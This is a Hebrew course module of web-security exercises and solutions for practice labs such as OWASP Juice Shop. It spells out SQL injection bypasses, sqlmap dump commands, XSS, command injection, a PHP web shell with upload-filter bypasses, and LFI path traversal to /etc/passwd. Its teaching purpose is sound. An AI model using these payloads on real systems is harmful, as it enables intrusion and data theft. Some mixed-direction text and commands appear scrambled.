

מודול 9 — אבטחת Web — תרגילים ופתרונות

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 9: אבטחת Web (OWASP Top 10)

2.  פתרונות מלאים — מודול 9: אבטחת Web

🎯 תרגילים — מודול 9: אבטחת (OWASP Top 10) Web

⚠️ רק על סביבות תרגול חוקיות — DVWA, OWASP Juice Shop, או PortSwigger Academy. לעולם לא על אתר אמיתי ללא רשות. פתרונות ב- [solutions.md](#).

🚦 לפני שמתחילים — קרא אותי!

- מה צריך לרוץ: מכונת **Kali; Docker** מותקן; ו-**Burp Suite** (מגיע עם Kali). בחלק א' נקים סביבת תרגול פגיעה (Juice Shop) — אל תדלג עליו.
- איך עובדים על תרגיל: קרא קודם את ה-**README.md**. בתרגילים הקלים (●) נאמר לך בדיוק מה להקליד ומה לחפש. בתרגילים הקשים יותר יש 💡 רמז ו-✅ קריטריון הצלחה.
- נתקעת? נסה ~10 דקות, קרא שוב את הסעיף ב-**README**, ואז הצץ ב- [solutions.md](#) — יש שם פתרון מלא צעד-אחר-צעד.
- טיפ: צלם מסך של כל חולשה שמצאת — זה יהיה ה-PoC בדוח (מודול 16).

מקרא רמות: ● קל · ● בינוני · ● מתקדם · ● אתגר

חלק א' — הקמה והיכרות (●)

בחלק זה נהיה **ישירים** — עקוב אחר הפקודות בדיוק.

9.1 ● — הקם סביבת תרגול פגיעה וודא שאתה מגיע אליה.

```
sudo docker run -d -p 3000:3000 bkimminich/juice-shop
```

👁️ **חפש:** פתח דפדפן לכתובת `http://localhost:3000` — אמורה להיטען חנות בשם "OWASP Juice Shop". ✅ הצלחה: האתר הפגיע עלה בדפדפן.

9.2 ● — הגדר את **Burp Suite** ללכוד תעבורה, ותפוס בקשת התחברות.

1. פתח Burp → Temporary Project → Use Burp defaults → Start Burp.
2. Proxy → Intercept → ודא "Intercept is on".
3. (Burp או השתמש בדפדפן המובנה של) Proxy 127.0.0.1:8080 לעבוד דרך Firefox הגדר.
4. עם אימייל וסיסמה כלשהם (Login) בחנות, נסה להתחבר.

👁👁 **חפשי:** ב-Burp תיתפס בקשת POST שכוללת את השדות email ו-password. הצלחה: אתה רואה את בקשת ההתחברות עם הפרמטרים שלה ב-Burp.

9.3 — שלח את הבקשה ל-Repeater, שנה ערך, ושלח שוב.

Send. שנה ערך → לחץ → Repeater עבור ללשונית → Send to Repeater → לחיצה ימנית על הבקשה

👁👁 **חפשי:** בצד ימין (Response) — איך תגובת השרת משתנה כשאתה משנה את הבקשה. הצלחה: הבנת איך לערוך ולשלוח בקשה ידנית — הבסיס לכל תקיפת Web.

חלק ב' — Injection (●●)

9.4 — **SQL Injection** ● בטופס התחברות פגיע, עקוף את ההתחברות עם `' OR '1'='1' --`. הסבר מדוע זה עובד. 💡 רמז: §9.4 README. הזן בשדה המשתמש/אימייל: `' OR '1'='1' --` וסיסמה כלשהי. הצלחה: התחברת ללא סיסמה נכונה, ואתה יכול להסביר את התפקיד של `'1'='1'` ושל `--`.

9.5 — **SQLi עם sqlmap** ● מצא פרמטר פגיע (למשל `?id=1`), והרץ sqlmap כדי לשלוף את בסיסי הנתונים ואז את טבלת המשתמשים. 💡 רמז: §9.4 README. `sqlmap -u "http://<target>/page?id=1" --batch --dbs --tables --db <db> -D --dump -T users -T`. הצלחה: sqlmap הדפיס רשימת בסיסי נתונים, ובהמשך שאב תוכן של טבלה.

9.6 — **XSS** ● בשדה קלט פגיע, הזרק `<script>alert('XSS')</script>`. האם זה Reflected או Stored? כיצד קבעת? 💡 רמז: §9.5 README. אם ה-alert קופץ רק בתגובה המיידית → Reflected; אם נשמר וקופץ בכל טעינה → Stored. הצלחה: ה-alert קפץ, וקבעת נכון את סוג ה-XSS עם נימוק.

9.7 — **Command Injection** ● בדף שמבצע ping, הזרק `127.0.0.1; whoami`. מה קיבלת, ומדוע זו חולשה חמורה? 💡 רמז: §9.6 README. מפרידי פקודות: `&& | ;`. הצלחה: ראית פלט של `whoami` (למשל `www-data`) והבנת שזו הרצת פקודות (RCE).

חלק ג' — Upload ו-Access Control (מתקדם)

9.8 — IDOR — מצא URL עם מזהה (למשל `?id=1`), שנה את המספר, ובדוק אם אתה ניגש לנתונים של משתמש אחר. רמז: §9.7 README. שנה `?id=1` ל-`?id=2` וכו', או בדוק בקשות API ב-Burp. הצלחה: ראית נתונים שאינם שלך ע"י שינוי מזהה בלבד.

9.9 — File Upload — נסה להעלות Web Shell פשוט (`<?php system($_GET['cmd']); ?>`). אם יש סינון — נסה עקיפה (`shell.php.jpg` / שינוי Content-Type ב-Burp). הרץ `whoami` דרכו. רמז: §9.8 README. אחרי העלאה: `http://<site>/uploads/shell.php?cmd=whoami`. הצלחה: הרצת פקודה דרך הקובץ שהעלית (RCE).

9.10 — LFI — בפרמטר שכולל שם קובץ, נסה `../../../../../../etc/passwd`. מה קיבלת? רמז: §9.8 README. חפש פרמטר כמו `?file=` או `?page=`. הצלחה: ראית את תוכן `/etc/passwd` (רשימת המשתמשים) בדף.

אתגר מסכם — “בדיקת Web מלאה על Juice Shop”

בצע בדיקת אבטחת web מובנית על **OWASP Juice Shop** ומצא לפחות **4 חולשות** מקטגוריות שונות:

- מיפוי:** מפה את האפליקציה (דפים, פרמטרים, נקודות קלט) עם Burp.
 - מצא ונצל** לפחות אחת מכל: **Broken Access Control**, **Injection** (SQLi/XSS), **IDOR** (גישה admin), ועוד שתיים לבחירתך.
 - תעד כל ממצא** בפורמט דוח: כותרת, חומרה (CVSS), תיאור, **PoC** (צעדים + צילום מסך), והמלצת תיקון.
 - סיכום:** דרג את הממצאים לפי חומרה — מה הכי קריטי, ולמה?
- רמז: השתמש בכל מה שתרגלת ב-9.4–9.10. מבנה דוח מלא: מודול 16. הצלחה: מסמך עם +4 ממצאים מתועדים, כל אחד עם PoC והמלצת תיקון, מדורג לפי חומרה.

זהו דוח בדיקת Web אמיתי — בדוק מה שמגישים ללקוח / בתוכנית Bug Bounty. שמור אותו לתיק העבודות שלך.

רשימת בקרה — לפני מעבר למודול 10

- ☐ אני מבין כיצד עובדת אפליקציית Web ומשתמש ב-Burp (Proxy/Repeater)
- ☐ אני מבצע SQL Injection ידני ואוטומטי (sqlmap)

- ☐ אני מזהה ומנצל XSS (Reflected/Stored)
- ☐ אני מבצע Command Injection ומבין שזה RCE
- ☐ אני מוצא IDOR ובעיות Broken Access Control
- ☐ אני מנצל File Upload / LFI
- ☐ אני יודע להמליץ הגנות (Prepared Statements, Encoding, בקרת גישה)

פתרונות מלאים: [solutions.md](#)

פתרונות מלאים — מודול 9: אבטחת Web

נסה לבד ב- [missions.md](#) קודם. כל הפעולות על סביבות תרגול חוקיות בלבד.

חלק א' — הקמה והיכרות

9.1

```
sudo docker run -d -p 3000:3000 bkimminich/juice-shop  
# גלוש ל http://localhost:3000
```

9.2 — Proxy עם Burp: Proxy → Intercept on ; Firefox — בצע התחברות — `127.0.0.1:8080`.
הבקשה תיתפס עם הפרמטרים `password / email` (Juice Shop) או `password / username` (DVWA).

9.3 — לחץ ימני על הבקשה → **Send to Repeater** → לשונית Repeater → שנה ערך → **Send**. תגובת השרת מתעדכנת — כך בודקים ידנית.

חלק ב' — Injection

9.4 — בשדה המשתמש הזן `' OR '1'='1' --` (סיסמה כלשהי). **למה זה עובד:** השאילתה הופכת ל-`... '1'='1' --` `SELECT * FROM users WHERE username=' ' OR '1'='1' --`. התנאי `'1'='1'` תמיד אמת, וה- `--` מבטל את בדיקת הסיסמה → מתחברים כמשתמש הראשון (לרוב admin).

9.5

```
sqlmap -u "http://target/rest/products/search?q=1" --batch --dbs
sqlmap -u "http://target/..." -D <db> --tables
sqlmap -u "http://target/..." -D <db> -T Users --dump
# או מבקשה שנשמרה מ Burp:
sqlmap -r request.txt --batch --dump
```

9.6 — הזרקת `<script>alert('XSS')</script>` : אם ה-`alert` קופץ **מיד** אחרי השליחה בלבד (בתגובה שלך) → **Reflected**. אם הוא נשמר ומופיע **בכל פעם שטוענים את הדף** (וגם למשתמשים אחרים) → **Stored**. קובעים לפי האם ה-payload נשמר בשרת.

9.7 — קלט `whoami` ; `127.0.0.1` בדף ה-ping מחזיר את פלט ה-ping **וגם** את שם המשתמש (www-) `data`. **למה חמור:** זו הרצת פקודות מרחוק (**RCE**) — אפשר להריץ `cat /etc/passwd`, להוריד Reverse Shell, ולהשתלט על השרת.

חלק ג' — Upload ו-Access Control

9.8 — שנה `?id=1` ל-`?id=2` (וכו'). אם אתה רואה נתונים של משתמש אחר — זו **IDOR**. הפתרון בצד המפתח: בדיקת הרשאה בשרת שהמשאב שייך למשתמש המחובר.

9.9

```
<?php system($_GET['cmd']); ?>
```

העלה כ-`shell.php`. אם נחסם: נסה `shell.php.jpg`, `shell.pHp`, או שנה את `Content-Type` ל-`image/jpeg` ב-Burp. גישה: `http://site/uploads/shell.php?cmd=whoami` → **RCE**.

9.10 — `?file=../../../../../etc/passwd` מחזיר את תוכן `/etc/passwd` (רשימת המשתמשים) → **LFI**. מאשש שהאפליקציה כוללת קבצים לפי קלט לא מסונן.

בדיקת דוח Web – OWASP Juice Shop

1 Critical: בחיפוש מוצרים - חומרה SQL Injection ממצא

hashes. כולל Users שלף את טבלת sqlmap. PoC: `SQLi`. פגיע ל `q` תיאור: פרמטר

תיקון: Prepared Statements / ORM.

2 High: חומרה - (admin גישה) Broken Access Control: ממצא 2

admin. ללא הרשאת /#/administration-תיאור: ניתן להגיע ל

תיקון: בדיקת הרשאה בצד השרת. [צילום מסך] PoC:

3 High: בביקורות – חומרה Stored XSS: ממצא

נשמרת ורצה לכל צופה <script> תיאור: תגובה עם

תיקון: Output Encoding + CSP.

4 Medium: בסל הקניות – חומרה IDOR: ממצא

.חושף סל של משתמש אחר id תיאור: שינוי

.תיקון: אימות בעלות על המשאב

סיכום

.לתיקון מייד. (חשיפת מסד הנתונים כולו) SQLi-הקריטי ביותר: ה

עברת? יש לך דוח Web אמיטי לתיק העבודות. המשך למודול 10.